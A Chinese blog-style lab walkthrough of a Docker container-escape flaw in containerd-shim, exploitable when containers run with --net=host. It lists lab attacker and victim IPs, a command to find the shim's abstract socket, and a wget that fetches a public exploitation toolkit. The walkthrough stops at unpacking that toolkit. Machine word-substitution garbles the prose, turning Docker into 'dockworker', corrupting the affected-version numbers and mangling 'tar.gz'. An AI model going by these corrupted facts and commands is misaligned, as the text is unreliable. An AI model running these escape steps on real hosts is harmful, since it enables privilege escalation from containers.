码头工人容器逃逸漏洞案例分析

介绍

本篇内容主要讲解“码头工人容器逃逸漏洞案例分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“码头工人容器逃逸漏洞案例分析”吧!

<强>一、漏洞介绍

<强>漏洞原理

Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。当在码头工人使用净=主机参数启动,与宿主机共享网络名称空间时,容器中的攻击者可以绕过访问权限访问Containerd的控制API进而导致权限提升,从而实现码头工人容器逃逸。

Containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本就和3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

<强>影响版本

Containerd & lt;3

containerd & lt;1.3.9

实验环境:

被攻击机(ubuntu)ip:192.168.163.129

被攻击机containerd版本:1.2.6

攻击机(kali)ip:192.168.163.131

POC下载:https://github.com/Xyntax/CDK/releases/tag/0.1.6

二、环境介绍

01

被攻击机查看docker版本,显示Containerd Version : 1.2.6

命令:docker version

Docker容器逃逸漏洞案例分析

02

为了区分被攻击机的真实环境和被攻击机的docker环境分别在/root目录下面创建不同文件

被攻击机的docker环境:docker环境下面的/root目录下面没有文件,为了便于区分,复制一个dockerfile文件到/root目录下

Docker容器逃逸漏洞案例分析

被攻击机的真实环境:真实环境下面的/root目录放置了一个true文件

Docker容器逃逸漏洞案例分析

三、漏洞复现

01

被攻击机真实环境中列出被攻击机的容器

命令:docker ps

Docker容器逃逸漏洞案例分析

02

被攻击机以共享主机网络的方式启动容器,并且直接进入了docker容器

通过 --net=host 作为启动参数来运行一个容器(此处为了方便直接选择已经存在的容器vulhub/activemq:5.11.1,但是会单独再建立了一个容器,不会再下拉镜像,但是两个容器不相关)

命令:docker run -it --net=host vulhub/activemq:5.11.1/bin/bash

Docker容器逃逸漏洞案例分析

03

被攻击机真实环境中列出被攻击机的容器列表,刚刚我们新建的容器为container id : 4ad4f620e6a5

命令:docker ps

Docker容器逃逸漏洞案例分析

04

在被攻击机docker容器中执行命令,可看到抽象命名空间Unix域套接字

命令:cat/proc/net/unix|grep -a "containerd-shim"

原理备注:containerd->containerd-shim->runc 的通信模型中,containerd-shim的接口作为abstract unix socket暴露,在docker使用--net=host参数启动、与宿主机共享net namespace时,其中的unix socket可以被容器内部访问到,容器中攻击者通过该socket可以通过API控制下游runc进程启动新的恶意镜像,并通过该镜像逃逸。

Docker容器逃逸漏洞案例分析

05

为了方便查看,被攻击机的docker环境下切换到/tmp目录下面进行操作。下载对应的poc并且进行解压操作。

下载poc命令:wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

解压poc命令:tar -zxvf cdk_v0.1.6_release.tar.广州

码头工人容器逃逸漏洞案例分析“> <br/> <img src=

码头工人容器逃逸漏洞案例分析